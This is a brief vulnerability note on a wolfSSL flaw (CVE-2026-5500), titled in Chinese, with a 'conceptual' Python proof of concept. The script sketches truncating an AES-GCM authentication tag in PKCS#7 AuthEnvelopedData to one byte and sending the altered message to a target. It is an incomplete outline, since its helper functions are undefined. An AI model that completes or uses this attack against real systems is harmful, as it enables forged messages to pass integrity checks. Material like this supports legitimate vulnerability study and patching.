CVE-2026-5500 wolfSSL认证标签验证缺失漏洞

# Conceptual PoC for CVE-2026-5500 # This script demonstrates how an attacker might truncate the GCM tag. import socket def exploit(target_host, target_port, malicious_payload): # 1. Establish connection or intercept packet # 2. Parse the PKCS#7 AuthEnvelopedData structure # 3. Locate the AES-GCM authentication tag (usually 16 bytes) # 4. Modify the ASN.1 length field of the tag to 1 # 5. Truncate the tag bytes to keep only the first byte truncated_tag = malicious_payload['tag'][:1] modified_payload = modify_asn1_length_field(malicious_payload, tag_length=1) # 6. Send the modified packet # With 1/256 probability, the receiver accepts the integrity check send_packet(target_host, target_port, modified_payload) print("[+] Payload sent with truncated tag.")